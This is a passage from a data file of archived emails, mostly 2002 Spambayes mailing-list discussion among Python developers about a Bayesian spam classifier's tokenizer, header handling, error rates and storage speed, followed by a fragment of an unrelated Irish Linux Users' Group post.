35.00 0 37.50 0 40.00 1 * 42.50 0 45.00 0 47.50 0 50.00 0 52.50 0 55.00 0 57.50 1 * 60.00 0 62.50 0 65.00 0 67.50 1 * 70.00 0 72.50 0 75.00 0 77.50 0 80.00 0 82.50 0 85.00 0 87.50 1 * 90.00 0 92.50 2 * 95.00 0 97.50 2 * Spam distribution for all runs: * = 73 items 0.00 13 * 2.50 0 5.00 4 * 7.50 5 * 10.00 0 12.50 2 * 15.00 1 * 17.50 1 * 20.00 2 * 22.50 1 * 25.00 0 27.50 1 * 30.00 0 32.50 3 * 35.00 0 37.50 0 40.00 0 42.50 0 45.00 1 * 47.50 3 * 50.00 16 * 52.50 0 55.00 0 57.50 0 60.00 1 * 62.50 0 65.00 2 * 67.50 1 * 70.00 1 * 72.50 0 75.00 1 * 77.50 0 80.00 3 * 82.50 2 * 85.00 1 * 87.50 2 * 90.00 2 * 92.50 4 * 95.00 4 * 97.50 4323 ************************************************************ It's hard to say whether you need better ham or better spam, but I suspect better spam . 18 of the 30 most powerful discriminators here were HTML-related spam indicators; the top 10 overall were: '' 312 0.99 '' 329 0.99 'click' 334 0.99 '' 335 0.99 'wrote:' 381 0.01 'skip:< 10' 398 0.99 'python' 428 0.01 'content-type:text/html' 454 0.99 The HTML tags come from non-multipart/alternative HTML messages, from which HTML tags aren't stripped, and there are lots of these in my spam sets. That doesn't account for it, though. If I strip HTML tags out of those too, the rates are only a little worse: raining on Data/Ham/Set1 & Data/Spam/Set1 ... 220 hams & 220 spams 0.000 1.364 0.000 1.818 0.455 1.818 0.000 1.818 raining on Data/Ham/Set2 & Data/Spam/Set2 ... 220 hams & 220 spams 0.000 1.364 0.455 1.818 0.455 0.909 0.000 1.818 raining on Data/Ham/Set3 & Data/Spam/Set3 ... 220 hams & 220 spams 0.000 2.727 0.000 0.909 0.909 0.909 0.455 1.818 raining on Data/Ham/Set4 & Data/Spam/Set4 ... 220 hams & 220 spams 0.000 1.818 0.000 0.909 0.455 0.909 0.000 1.364 raining on Data/Ham/Set5 & Data/Spam/Set5 ... 220 hams & 220 spams 0.000 2.727 0.000 1.364 0.455 2.273 0.455 2.273 otal false pos 4 0.363636363636 otal false neg 34 3.09090909091 The 4th-strongest discriminator *still* finds another HTML clue, though! 'subject:Python' 164 0.01 'money' 169 0.99 'content-type:text/plain' 185 0.2 'charset:us-ascii' 191 0.127273 ""i'm"" 232 0.01 'content-type:text/html' 248 0.983607 ' ' 255 0.99 'wrote:' 372 0.01 'python' 431 0.01 'click' 519 0.99 Heh. I forgot all about  .",0,0 anthony@interlink.com.au (Anthony Baxter),,"Sat, 07 Sep 2002 13:38:51 +1000",[Spambayes] test sets?,"> > Note that header names are case insensitive, so this one's no > > different than ""MIME-Version:"". Similarly other headers in your list. > > Ignoring case here may or may not help; that's for experiment to decide. > It's plausible that case is significant, if, e.g., a particular spam mailing > package generates unusual case, or a particular clueless spammer > misconfigures his package. I found it made no difference for my testing. > The brilliance of Anthony's ""just count them"" scheme is that it requires no > thought, so can't be fooled . Header lines that are evenly > distributed across spam and ham will turn out to be worthless indicators > (prob near 0.5), so do no harm. zactly. I started off doing clever clever things, and, as always with this stuff, found that stupid with a rock beats smart with scissors, every time. -- Anthony Baxter It's never too late to have a happy childhood.",0,0 anthony@interlink.com.au (Anthony Baxter),,"Sat, 07 Sep 2002 13:44:50 +1000",[Spambayes] understanding high false negative rate,"> Looks like your ham corpus by and large has To: jeremy@alum.mit.edu in > a header while your spam corpus by and large doesn't. But this one > does. Interestingly, for me, one of the highest value spam indicators was the name of the mail host that the spam was delivered to, in the To: line. So mail to info@gin.elax2.ekorp.com was pretty much a dead cert for the filters. -- Anthony Baxter It's never too late to have a happy childhood.",0,0 anthony@interlink.com.au (Anthony Baxter),,"Sat, 07 Sep 2002 13:50:37 +1000",[Spambayes] understanding high false negative rate,">>> Jeremy Hylton wrote > Then I tried a dirt simple tokenizer for the headers that tokenize the > words in the header and emitted like this ""%s: %s"" % (hdr, word). > That worked too well :-). The received and date headers helped the > classifier discover that most of my spam is old and most of my ham is > new. Heh. I hit the same problem, but the other way round, when I first started playing with this - I'd collected spam for a week or two, then mixed it up with randomly selected messages from my mail boxes. course, it instantly picked up on 'received:2001' as a non-ham. Curse that too-smart-for-me software. Still, it's probably a good thing to note in the documentation about the software - when collecting spam/ham, make _sure_ you try and collect from the same source. Anthony -- Anthony Baxter It's never too late to have a happy childhood.",0,0 anthony@interlink.com.au (Anthony Baxter),,"Sat, 07 Sep 2002 13:52:54 +1000",[Spambayes] understanding high false negative rate,"> course, it instantly picked up on 'received:2001' as a non-ham. -spam. *sigh* -- Anthony Baxter It's never too late to have a happy childhood.",0,0 guido@python.org (Guido van Rossum),,"Fri, 06 Sep 2002 23:51:12 -0400",[Spambayes] hammie.py vs. GBayes.py,"There seem to be two ""drivers"" for the classifier now: Neale Pickett's hammie.py, and the original GBayes.py. According to the README.txt, GBayes.py hasn't been kept up to date. Is there anything in there that isn't covered by hammie.py? About the only useful feature of GBayes.py that hammie.py doesn't (yet) copy is -u, which calculates spamness for an entire mailbox. This feature can easily be copied into hammie.py. (GBayes.py also has a large collection of tokenizers; but timtoken.py rules, so I'm not sure how interesting that is now.) Therefore I propose to nuke GBayes.py, after adding a -u feature. Anyone against? (I imagine that Skip or Barry might have a stake in GBayes.py; Tim seems to have moved all code he's working to other modules.) --Guido van Rossum (home page: http://www.python.org/~guido/)",0,1 skip@pobox.com (Skip Montanaro),,"Fri, 6 Sep 2002 23:05:45 -0500",[Spambayes] Maybe change X-Spam-Disposition to something else...,"I actually like Neale's X-Spam-Disposition header, I just wonder if maybe we should choose something with a different prefix than ""X-Spam-"" so that people don't confuse it with SpamAssassin, all of whose headers begin with that prefix. Also, some sort of version information would be useful. Perhaps the CVS version number for the classifier module could be tacked on. Skip",0,0 anthony@interlink.com.au (Anthony Baxter),,"Sat, 07 Sep 2002 14:10:37 +1000",[Spambayes] Maybe change X-Spam-Disposition to something else...,">>> Skip Montanaro wrote > > I actually like Neale's X-Spam-Disposition header, I just wonder if maybe we > should choose something with a different prefix than ""X-Spam-"" so that > people don't confuse it with SpamAssassin, all of whose headers begin with > that prefix. I think it's fine, in general, just so long as no-one checks in anything that puts it into my test corpus. Or alternately, whatever is chosen should be ignored by the tokenizer. I know my mail host (interlink) runs SA, but I also run it, with my own set of rules and scores. I don't want my spam-filter to be getting messed up by an upstream spam filter.",0,0 skip@pobox.com (Skip Montanaro),,"Fri, 6 Sep 2002 23:30:31 -0500",[Spambayes] hammie.py vs. GBayes.py,"Guido> Therefore I propose to nuke GBayes.py, after adding a -u feature. Guido> Anyone against? (I imagine that Skip or Barry might have a stake Guido> in GBayes.py; Tim seems to have moved all code he's working to Guido> other modules.) No argument here. Skip",0,0 skip@pobox.com (Skip Montanaro),,"Fri, 6 Sep 2002 23:46:01 -0500",[Spambayes] speed,"If the frequency of my laptop's disk chirps are any indication, I'd say hammie is about 3-5x faster than SpamAssassin. Skip",0,0 skip@pobox.com (Skip Montanaro),,"Sat, 7 Sep 2002 00:15:54 -0500",[Spambayes] can't write to CVS...,"I'm listed as a developer on SF and have the spambayes CVS module checked out using my SF username, but I'm unable to write to the repository. CVS complains: % cvs add unheader.py cvs [server aborted]: ""add"" requires write access to the repository Any thoughts? Skip",0,0 neale@woozle.org (Neale Pickett),,06 Sep 2002 22:17:28 -0700,[Spambayes] Ditching WordInfo,"So then, Tim Peters is all like: > I'm not sure what you're doing, but suspect you're storing individual > WordInfo pickles. If so, most of the administrative pickle bloat is > due to that, and doesn't happen if you pickle an entire classifier > instance directly. Yeah, that's exactly what I was doing--I didn't realize I was incurring administrative pickle bloat this way. I'm specifically trying to make things faster and smaller, so I'm storing individual WordInfo pickles into an anydbm dict (keyed by token). The result is that it's almost 50 times faster to score messages one per run our of procmail (.408s vs 18.851s). However, it *does* say all over the place that the goal of this project isn't to make the fastest or the smallest implementation, so I guess I'll hold off doing any further performance tuning until the goal starts to point more in that direction. .4 seconds is probably fast enough for people to use it in their procmailrc, which is what I was after. > If you're desparate to save memory, write a subclass? That's probably what I'll do if I get too antsy :) Trying to think of ways to sneak ""administrative pickle boat"" into casual conversation, Neale",0,0 guido@python.org (Guido van Rossum),,"Sat, 07 Sep 2002 01:33:23 -0400",[Spambayes] Ditching WordInfo,"> Yeah, that's exactly what I was doing--I didn't realize I was > incurring administrative pickle bloat this way. I'm specifically > trying to make things faster and smaller, so I'm storing individual > WordInfo pickles into an anydbm dict (keyed by token). The result > is that it's almost 50 times faster to score messages one per run > our of procmail (.408s vs 18.851s). This is very worthwhile. > However, it *does* say all over the place that the goal of this > project isn't to make the fastest or the smallest implementation, so > I guess I'll hold off doing any further performance tuning until the > goal starts to point more in that direction. .4 seconds is probably > fast enough for people to use it in their procmailrc, which is what > I was after. Maybe. I batch messages using fetchmail (don't ask why), and adding .4 seconds per message for a batch of 50 (not untypical) feels like a real wait to me... --Guido van Rossum (home page: http://www.python.org/~guido/)",0,1 tim.one@comcast.net (Tim Peters),,"Sat, 07 Sep 2002 01:36:41 -0400",[Spambayes] can't write to CVS...,"[Skip Montanaro] > I'm listed as a developer on SF and have the spambayes CVS module checked > out using my SF username, but I'm unable to write to the repository. CVS > complains: > > % cvs add unheader.py > cvs [server aborted]: ""add"" requires write access to the repository > > Any thoughts? Not really. Try again? About half the developers on the spambayes project were missing some permission or other, so I ran thru all of them and checked every damned box and clicked on every damn dropdown list I could find. As far as SF is concerned, you're all sitting on God's Right Hand now, so if it still doesn't work I suggest you upgrade to Win98 .",0,0 skip@pobox.com (Skip Montanaro),,"Sat, 7 Sep 2002 00:40:18 -0500",[Spambayes] can't write to CVS...,"Tim> About half the developers on the spambayes project were missing Tim> some permission or other, so I ran thru all of them and checked Tim> every damned box and clicked on every damn dropdown list I could Tim> find. As far as SF is concerned, you're all sitting on God's Right Tim> Hand now, so if it still doesn't work I suggest you upgrade to Tim> Win98 . Time to upgrade I guess. :-( % cvs add unheader.py cvs [server aborted]: ""add"" requires write access to the repository I'll try a checkout into a new directory... S",0,0 tim.one@comcast.net (Tim Peters),,"Sat, 07 Sep 2002 01:40:45 -0400",[Spambayes] Maybe change X-Spam-Disposition to something else...,"[Skip Montanaro, to Anthony Baxter] > ... > Accordingly, I wrote unheader.py, which is mostly a ripoff of something > someone else posted to python-dev or c.l.py within the last week or so to > strip out SA-generated headers. Unless I've grown senile tonight, you got it from Anthony to begin with. Please check it in to project, and add a short blurb to README.txt!",0,0 skip@pobox.com (Skip Montanaro),,"Sat, 7 Sep 2002 00:43:31 -0500",[Spambayes] Maybe change X-Spam-Disposition to something else...,">> ... choose something with a different prefix than ""X-Spam-"" so that >> people don't confuse it with SpamAssassin ... Neale> How about X-Spambayes-Disposition (or X-Hammie-Disposition if Neale> there'll be other classifier front-ends)? I kinda like ""hammie"". Your front end was there first, so I suspect it will rule the front end roost. S",0,0 skip@pobox.com (Skip Montanaro),,"Sat, 7 Sep 2002 00:45:23 -0500",[Spambayes] can't write to CVS...,"Skip> I'll try a checkout into a new directory... Which didn't help. At the very least I think that means it's time for bed... Skip",0,0 skip@pobox.com (Skip Montanaro),,"Sat, 7 Sep 2002 00:46:41 -0500",[Spambayes] Maybe change X-Spam-Disposition to something else...,">> Accordingly, I wrote unheader.py, which is mostly a ripoff of >> something someone else posted to python-dev or c.l.py within the last >> week or so to strip out SA-generated headers. Tim> Unless I've grown senile tonight, you got it from Anthony to begin Tim> with. Please check it in to project, and add a short blurb to Tim> README.txt! Raring to go, once I can write to CVS... S",0,0 neale@woozle.org (Neale Pickett),,06 Sep 2002 22:48:17 -0700,[Spambayes] Ditching WordInfo,"So then, Guido van Rossum is all like: > Maybe. I batch messages using fetchmail (don't ask why), and adding > .4 seconds per message for a batch of 50 (not untypical) feels like a > real wait to me... Yeesh. Sounds like what you need is something to kick up once and score an entire mailbox. Wait a second... So *that's* why you wanted -u. If you can spare the memory, you might get better performance in this case using the pickle store, since it only has to go to disk once (but boy, does it ever go to disk!) I can't think of anything obvious to speed things up once it's all loaded into memory, though. That's profiler territory, and profiling is exactly the kind of optimization I just said I wasn't going to do :) Neale",0,0 guido@python.org (Guido van Rossum),,"Sat, 07 Sep 2002 02:06:31 -0400",[Spambayes] Ditching WordInfo,"> > Maybe. I batch messages using fetchmail (don't ask why), and adding > > .4 seconds per message for a batch of 50 (not untypical) feels like a > > real wait to me... > > Yeesh. Sounds like what you need is something to kick up once and score > an entire mailbox. > > Wait a second... So *that's* why you wanted -u. > > If you can spare the memory, you might get better performance in this > case using the pickle store, since it only has to go to disk once (but > boy, does it ever go to disk!) I can't think of anything obvious to > speed things up once it's all loaded into memory, though. That's > profiler territory, and profiling is exactly the kind of optimization > I just said I wasn't going to do :) We could have a server mode (someone described this as an SA option). --Guido van Rossum (home page: http://www.python.org/~guido/)",0,1 jeremy@alum.mit.edu (Jeremy Hylton),,"Sat, 7 Sep 2002 13:18:17 -0400",[Spambayes] understanding high false negative rate,">>>>> ""TP"" == Tim Peters writes: TP> [Jeremy Hylton[ >> The total collections are 1100 messages. I trained with 1100/5 >> messages. TP> I'm reading this now as that you trained on about 220 spam and TP> about 220 ham. That's less than 10% of the sizes of the TP> training sets I've been using. Please try an experiment: train TP> on 550 of each, and test once against the other 550 of each. This helps a lot! Here are results with the stock tokenizer: Training on & ... 644 hams & 557 spams 0.000 10.413 1.398 6.104 1.398 5.027 Training on & ... 644 hams & 557 spams 0.000 8.259 1.242 2.873 1.242 5.745 Training on & ... 644 hams & 557 spams 1.398 5.206 1.398 4.488 0.000 9.336 Training on & ... 644 hams & 557 spams 1.553 5.206 1.553 5.027 0.000 9.874 total false pos 139 5.39596273292 total false neg 970 43.5368043088 And results from the tokenizer that looks at all headers except Date, Received, and X-From_: Training on & ... 644 hams & 557 spams 0.000 7.540 0.932 4.847 0.932 3.232 Training on & ... 644 hams & 557 spams 0.000 7.181 0.621 2.873 0.621 4.847 Training on & ... 644 hams & 557 spams 1.087 4.129 1.087 3.052 0.000 6.822 Training on & ... 644 hams & 557 spams 0.776 3.411 0.776 3.411 0.000 6.463 total false pos 97 3.76552795031 total false neg 738 33.1238779174 Is it safe to conclude that avoiding any cleverness with headers is a good thing? TP> Do that a few times making a random split each time (it won't be TP> long until you discover why directories of individual files are TP> a lot easier to work -- e.g., random.shuffle() makes this kind TP> of thing trivial for me). You haven't looked at mboxtest.py, have you? I'm using random.shuffle(), too. You don't need to have many files to make an arbitrary selection of messages from an mbox. I'll report some more results when they're done. Jeremy",0,0 tim.one@comcast.net (Tim Peters),,"Sat, 07 Sep 2002 15:45:18 -0400",[Spambayes] understanding high false negative rate,"> TP> I'm reading this now as that you trained on about 220 spam and > TP> about 220 ham. That's less than 10% of the sizes of the > TP> training sets I've been using. Please try an experiment: train > TP> on 550 of each, and test once against the other 550 of each. [Jeremy] > This helps a lot! Possibly. I checked in a change to classifier.py overnight (getting rid of MINCOUNT) that gave a major improvement in the f-n rate too, independent of tokenization. > Here are results with the stock tokenizer: Unsure what ""stock tokenizer"" means to you. For example, it might mean tokenizer.tokenize, or mboxtest.MyTokenizer.tokenize. > Training on & /home/jeremy/Mail/spam 8> > ... 644 hams & 557 spams > 0.000 10.413 > 1.398 6.104 > 1.398 5.027 > Training on & /home/jeremy/Mail/spam 0> > ... 644 hams & 557 spams > 0.000 8.259 > 1.242 2.873 > 1.242 5.745 > Training on & /home/jeremy/Mail/spam 3> > ... 644 hams & 557 spams > 1.398 5.206 > 1.398 4.488 > 0.000 9.336 > Training on & /home/jeremy/Mail/spam 0> > ... 644 hams & 557 spams > 1.553 5.206 > 1.553 5.027 > 0.000 9.874 > total false pos 139 5.39596273292 > total false neg 970 43.5368043088 Note that those rates remain much higher than I got using just 220 of ham and 220 of spam. That remains A Mystery. > And results from the tokenizer that looks at all headers except Date, > Received, and X-From_: Unsure what that means too. For example, ""looks at"" might mean you enabled Anthony's count-them gimmick, and/or that you're tokenizing them yourself, and/or ...? > Training on & /home/jeremy/Mail/spam 8> > ... 644 hams & 557 spams > 0.000 7.540 > 0.932 4.847 > 0.932 3.232 > Training on & /home/jeremy/Mail/spam 0> > ... 644 hams & 557 spams > 0.000 7.181 > 0.621 2.873 > 0.621 4.847 > Training on & /home/jeremy/Mail/spam 3> > ... 644 hams & 557 spams > 1.087 4.129 > 1.087 3.052 > 0.000 6.822 > Training on & /home/jeremy/Mail/spam 0> > ... 644 hams & 557 spams > 0.776 3.411 > 0.776 3.411 > 0.000 6.463 > total false pos 97 3.76552795031 > total false neg 738 33.1238779174 > > Is it safe to conclude that avoiding any cleverness with headers is a > good thing? Since I don't know what you did, exactly, I can't guess. What you seemed to show is that you did *something* clever with headers and that doing so helped (the ""after"" numbers are better than the ""before"" numbers, right?). Assuming that what you did was override what's now tokenizer.Tokenizer.tokenize_headers with some other routine, and didn't call the base Tokenizer.tokenize_headers at all, then you're missing carefully tested treatment of just a few header fields, but adding many dozens of other header fields. There's no question that adding more header fields should help; tokenizer.Tokenizer.tokenize_headers doesn't do so only because my testing corpora are such that I can't add more headers without getting major benefits for bogus reasons. Apart from all that, you said you're skipping Received. By several accounts, that may be the most valuable of all the header fields. I'm (meaning tokenizer.Tokenizer.tokenize_headers) skipping them too for the reason explained above. Offline a week or two ago, Neil Schemenauer reported good results from this scheme: ip_re = re.compile(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})') for header in msg.get_all(""received"", ()): for ip in ip_re.findall(header): parts = ip.split(""."") for n in range(1, 5): yield 'received:' + '.'.join(parts[:n]) This makes a lot of sense to me; I just checked it in, but left it disabled for now.",0,0 tim.one@comcast.net (Tim Peters),,"Sat, 07 Sep 2002 16:11:36 -0400",[Spambayes] test sets?,"[Guido] > Perhaps more useful would be if Tim could check in the pickle(s?) > generated by one of his training runs, so that others can see how > Tim's training data performs against their own corpora. I did that yesterday, but seems like nobody bit. Just in case , I uploaded a new version just now. Since MINCOUNT went away, UNKNOWN_SPAMPROB is much less likely, and there's almost nothing that can be pruned away (so the file is about 5x larger now). http://sf.net/project/showfiles.php?group_id=61702 > This could also be the starting point for a self-contained distribution > (you've got to start with *something*, and training with python-list data > seems just as good as anything else). The only way to know anything here is for someone to try it.",0,1 jeremy@alum.mit.edu (Jeremy Hylton),,"Sat, 7 Sep 2002 16:15:03 -0400",[Spambayes] understanding high false negative rate,"Here's clarification of why I did: First test results using tokenizer.Tokenizer.tokenize_headers() unmodified. Training on 644 hams & 557 spams 0.000 10.413 1.398 6.104 1.398 5.027 Training on 644 hams & 557 spams 0.000 8.259 1.242 2.873 1.242 5.745 Training on 644 hams & 557 spams 1.398 5.206 1.398 4.488 0.000 9.336 Training on 644 hams & 557 spams 1.553 5.206 1.553 5.027 0.000 9.874 total false pos 139 5.39596273292 total false neg 970 43.5368043088 Second test results using mboxtest.MyTokenizer.tokenize_headers(). This uses all headers except Received, Data, and X-From_. Training on 644 hams & 557 spams 0.000 7.540 0.932 4.847 0.932 3.232 Training on 644 hams & 557 spams 0.000 7.181 0.621 2.873 0.621 4.847 Training on 644 hams & 557 spams 1.087 4.129 1.087 3.052 0.000 6.822 Training on 644 hams & 557 spams 0.776 3.411 0.776 3.411 0.000 6.463 total false pos 97 3.76552795031 total false neg 738 33.1238779174 Jeremy",0,0 guido@python.org (Guido van Rossum),,"Sat, 07 Sep 2002 16:19:16 -0400",[Spambayes] test sets?,"> [Guido] > > Perhaps more useful would be if Tim could check in the pickle(s?) > > generated by one of his training runs, so that others can see how > > Tim's training data performs against their own corpora. [Tim] > I did that yesterday, but seems like nobody bit. I downloaded and played with it a bit, but had no time to do anything systematic. It correctly recognized a spam that slipped through SA. But it also identified as spam everything in my inbox that had any MIME structure or HTML parts, and several messages in my saved 'zope geeks' list that happened to be using MIME and/or HTML. So I guess I'll have to retrain it (yes, you told me so :-). > Just in case , I > uploaded a new version just now. Since MINCOUNT went away, UNKNOWN_SPAMPROB > is much less likely, and there's almost nothing that can be pruned away (so > the file is about 5x larger now). > > http://sf.net/project/showfiles.php?group_id=61702 I'll try this when I have time. --Guido van Rossum (home page: http://www.python.org/~guido/)",0,1 skip@pobox.com (Skip Montanaro),,"Sat, 7 Sep 2002 18:11:19 -0500",[Spambayes] spambayes package?,"Before we get too far down this road, what do people think of creating a spambayes package containing classifier and tokenizer? This is just to minimize clutter in site-packages. Skip",0,0 tim.one@comcast.net (Tim Peters),,"Sat, 07 Sep 2002 19:22:18 -0400",[Spambayes] understanding high false negative rate,"[Jeremy Hylton] > Here's clarification of why I did: That's pretty much what I had guessed. Thanks! One more to try: > First test results using tokenizer.Tokenizer.tokenize_headers() > unmodified. > ... > Second test results using mboxtest.MyTokenizer.tokenize_headers(). > This uses all headers except Received, Data, and X-From_. > ... Try the latter again, but call the base tokenize_headers() too.",0,0 guido@python.org (Guido van Rossum),,"Sat, 07 Sep 2002 22:47:23 -0400",[Spambayes] spambayes package?,"> Before we get too far down this road, what do people think of creating a > spambayes package containing classifier and tokenizer? This is just to > minimize clutter in site-packages. Too early IMO (if you mean to leave the various other tools out of it). If and when we package this, perhaps we should use Barry's trick from the email package for making the package itself the toplevel dir of the distribution (rather than requiring an extra directory level just so the package can be a subdir of the distro). --Guido van Rossum (home page: http://www.python.org/~guido/)",0,1 tim.one@comcast.net (Tim Peters),,"Sat, 07 Sep 2002 22:55:12 -0400",[Spambayes] test sets?,"[Guido, on the classifier pickle on SF] > I downloaded and played with it a bit, but had no time to do anything > systematic. Cool! > It correctly recognized a spam that slipped through SA. Ditto. > But it also identified as spam everything in my inbox that had any > MIME structure or HTML parts, and several messages in my saved 'zope > geeks' list that happened to be using MIME and/or HTML. Do you know why? The strangest implied claim there is that it hates MIME independent of HTML. For example, the spamprob of 'content-type:text/plain' in that pickle is under 0.21. 'content-type:multipart/alternative' gets 0.93, but that's not a killer clue, and one bit of good content will more than cancel it out. WRT hating HTML, possibilities include: 1. It really had to do with something other than MIME/HTML. 2. These are pure HTML (not multipart/alternative with a text/plain part), so that the tags aren't getting stripped. The pickled classifier despises all hints of HTML due to its c.l.py heritage. 3. These are multipart/alternative with a text/plain part, but the latter doesn't contain the same text as the text/html part (for example, as Anthony reported, perhaps the text/plain part just says something like ""This is an HMTL message.""). If it's #2, it would be easy to add an optional bool argument to tokenize() meaning ""even if it is pure HTML, strip the tags anyway"". In fact, I'd like to do that and default it to True. The extreme hatred of HTML on tech lists strikes me as, umm, extreme . > So I guess I'll have to retrain it (yes, you told me so :-). That would be a different experiment. I'm certainly curious to see whether Jeremy's much-worse-than-mine error rates are typical or aberrant.",0,0 guido@python.org (Guido van Rossum),,"Sat, 07 Sep 2002 23:38:47 -0400",[Spambayes] test sets?,"> > But it also identified as spam everything in my inbox that had any > > MIME structure or HTML parts, and several messages in my saved 'zope > > geeks' list that happened to be using MIME and/or HTML. > > Do you know why? The strangest implied claim there is that it hates MIME > independent of HTML. For example, the spamprob of 'content-type:text/plain' > in that pickle is under 0.21. 'content-type:multipart/alternative' gets > 0.93, but that's not a killer clue, and one bit of good content will more > than cancel it out. I reran the experiment (with the new SpamHam1.pik, but it doesn't seem to make a difference). Here are the clues for the two spams in my inbox (in hammie.py's output format, which sorts the clues by probability; the first two numbers are the message number and overall probability; then line-folded): 66 1.00 S 'facility': 0.01; 'speaker': 0.01; 'stretch': 0.01; 'thursday': 0.01; 'young,': 0.01; 'mistakes': 0.12; 'growth': 0.85; '>content-type:text/plain': 0.85; 'please': 0.85; 'capital': 0.92; 'series': 0.92; 'subject:Don': 0.94; 'companies': 0.96; '>content-type:text/html': 0.96; 'fee': 0.96; 'money': 0.96; '8:00am': 0.99; '9:00am': 0.99; '>content-type:image/gif': 0.99; '>content-type:multipart/alternative': 0.99; 'attend': 0.99; 'companies,': 0.99; 'content-type/type:multipart/alternative': 0.99; 'content-type:multipart/related': 0.99; 'economy': 0.99; 'economy""': 0.99 This has 6 content-types as spam clues, only one of which is related to HTML, despite there being an HTML alternative (and 12 other spam clues, vs. only 6 ham clues). This was an announcement of a public event by our building owners, with a text part that was the same as the HTML (AFAICT). Its language may be spammish, but the content-type clues didn't help. (BTW, it makes me wonder about the wisdom of keeping punctuation -- 'economy' and 'economy""' to me don't seem to deserve two be counted as clues.) 76 1.00 S '(near': 0.01; 'alexandria': 0.01; 'conn': 0.01; 'from:adam': 0.01; 'from:email addr:panix': 0.01; 'poked': 0.01; 'thorugh': 0.01; 'though': 0.03; ""i'm"": 0.03; 'reflect': 0.05; ""i've"": 0.06; 'wednesday': 0.07; 'content-disposition:inline': 0.10; 'contacting': 0.93; 'sold': 0.96; 'financially': 0.98; 'prices': 0.98; 'rates': 0.99; 'discount.': 0.99; 'hotel': 0.99; 'hotels': 0.99; 'hotels.': 0.99; 'nights,': 0.99; 'plaza': 0.99; 'rates,': 0.99; 'rates.': 0.99; 'rooms': 0.99; 'season': 0.99; 'stations': 0.99; 'subject:Hotel': 0.99 Here is the full message (Received: headers stripped), with apologies to Ziggy and David: """""" Date: Fri, 06 Sep 2002 17:17:13 -0400 From: Adam Turoff Subject: Hotel information To: guido@python.org, davida@activestate.com Message-id: <20020906211713.GK7451@panix.com> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-disposition: inline User-Agent: Mutt/1.4i I've been looking into hotels. I poked around expedia for availability from March 26 to 29 (4 nights, wednesday thorugh saturday). I've also started contacting hotels for group rates; some of the group rates are no better than the regular rates, and they require signing a contract with a minimum number of rooms sold (with someone financially responsible for unbooked rooms). Most hotels are less than responsive... Radission - Barcelo Hotel (DuPont Circle) $125/night, $99/weekend State Plaza hotel (Foggy Bottom; near GWU) $119/night, $99/weekend Hilton Silver Spring (Near Metro, in suburban MD) $99/hight, $74/weekend Windsor Park Hotel Conn Ave, between DuPont Circle/Woodley Park Metro stations $95/night; needs a car Econo Lodge Alexandria (Near Metro, in suburban VA) $95/night This is a hand picked list; I ignored anything over $125/night, even though there are some really well situated hotels nearby at higher rates. Also, I'm not sure how much these prices reflect an expedia-only discount. I can't vouch for any of these hotels, either. I also found out that the down season for DC Hotels are mid-june through mid-september, and mid-november through mid-january. Z. """""" This one has no MIME structure nor HTML! It even has a Content-disposition which is counted as a non-spam clue. It got f-p'ed because of the many hospitality-related and money-related terms. I'm surprised $125/night and similar aren't clues too. (And again, several spam clues are duplicated with different variations: 'hotel', 'hotels', 'hotels.', 'subject:Hotel', 'rates,', 'rates.'. > WRT hating HTML, possibilities include: > > 1. It really had to do with something other than MIME/HTML. > > 2. These are pure HTML (not multipart/alternative with a text/plain part), > so that the tags aren't getting stripped. The pickled classifier > despises all hints of HTML due to its c.l.py heritage. > > 3. These are multipart/alternative with a text/plain part, but the > latter doesn't contain the same text as the text/html part (for > example, as Anthony reported, perhaps the text/plain part just > says something like ""This is an HMTL message.""). > > If it's #2, it would be easy to add an optional bool argument to tokenize() > meaning ""even if it is pure HTML, strip the tags anyway"". In fact, I'd like > to do that and default it to True. The extreme hatred of HTML on tech lists > strikes me as, umm, extreme . I also looked in more detail at some f-p's in my geeks traffic. The first one's a doozie (that's the term, right? :-). It has lots of HTML clues that are apparently ignored. It was a multipart/mixed with two parts: a brief text/plain part containing one or two sentences, a mondo weird URL: http://x60.deja.com/[ST_rn=ps]/getdoc.xp?AN=687715863&CONTEXT=973121507.1408827441&hitnum=23 and some employer-generated spammish boilerplate; the second part was the HTML taken directly from the above URL. Clues: 43 1.00 S '""main""': 0.01; '(later': 0.01; '(lots': 0.01; '--paul': 0.01; '1995-2000': 0.01; 'adopt': 0.01; 'apps': 0.01; 'commands': 0.01; 'deja.com': 0.01; 'dejanews,': 0.01; 'discipline': 0.01; 'duct': 0.01; 'email addr:digicool': 0.01; 'email name:paul': 0.01; 'everitt': 0.01; 'exist,': 0.01; 'forwards': 0.01; 'framework': 0.01; 'from:email addr:digicool': 0.01; 'from:email name:1:22': 0.01; 'http>1:24': 0.01; 'http>1:57': 0.01; 'http>1:an': 0.01; 'http>1:author': 0.01; 'http>1:fmt': 0.01; 'http>1:getdoc': 0.01; 'http>1:pr': 0.01; 'http>1:products': 0.01; 'http>1:query': 0.01; 'http>1:search': 0.01; 'http>1:viewthread': 0.01; 'http>1:xp': 0.01; 'http>1:zope': 0.01; 'inventing': 0.01; 'jsp': 0.01; 'jsp.': 0.01; 'logic': 0.01; 'maps': 0.01; 'neo': 0.01; 'newsgroup,': 0.01; 'object': 0.01; 'popup': 0.01; 'probable': 0.01; 'query': 0.01; 'query,': 0.01; 'resizes': 0.01; 'servlet': 0.01; 'skip:? 20': 0.01; 'stems': 0.01; 'subject:JSP': 0.01; 'sucks!': 0.01; 'templating': 0.01; 'tempted': 0.01; 'url.': 0.01; 'usenet': 0.01; 'usenet,': 0.01; 'wrote': 0.01; 'x-mailer:mozilla 4.74 [en] (windows nt 5.0; u)': 0.01; 'zope': 0.01; '#000000;': 0.99; '#cc0000;': 0.99; '#ff3300;': 0.99; '#ff6600;': 0.99; '#ffffff;': 0.99; '©': 0.99; '>': 0.99; '  ': 0.99; '""no': 0.99; '.med': 0.99; '.small': 0.99; '0pt;': 0.99; '0px;': 0.99; '10px;': 0.99; '11pt;': 0.99; '12px;': 0.99; '18pt;': 0.99; '18px;': 0.99; '1pt;': 0.99; '2px;': 0.99; '640;': 0.99; '8pt;': 0.99; '8 Can someone translate this for me? Lost all sense of Irish when moved over the border about 10 years ago. Not by choice mind you :-( Thanks -- +------------------------------------+---------------------------------+ | Tony Patton | | | MIS Software Developer/*nix | Tel : +44 28 7127 6443 | | Systems Administrator | Fax : +44 28 7126 0520 | | North West Institute of F & H.E. | Mob : +44 7764 905 955 | | Strand Road | | | Derry | ICQ# : 113 069 081 | | BT48 7BY | | +------------------------------------+---------------------------------+ -- Irish Linux Users' Group: ilug@linux.ie 